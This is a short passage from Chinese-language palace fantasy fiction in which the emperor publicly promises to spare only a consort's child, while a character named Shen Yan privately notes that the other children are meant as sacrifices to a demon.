丽贵妃闻言眼泪汪汪地看着身边的男人,或许连她也没有想到帝王在这么多人的情况下会承诺只要她的孩子,瞬间落泪。 沈砚看着台上做戏的皇帝,无语至极。只要她一个孩子当幌子,其他的就都可以喂给魑妖吃了,如果不是前朝闹得太大,皇帝巴不得让这个孩子也拿去献祭,哪里顾得上帝妃深情。 其他人大概是被皇帝的发言震撼到了,迟迟没有人说话。皇帝也就挥了挥手,让教坊的人继续吹弹唱跳去了。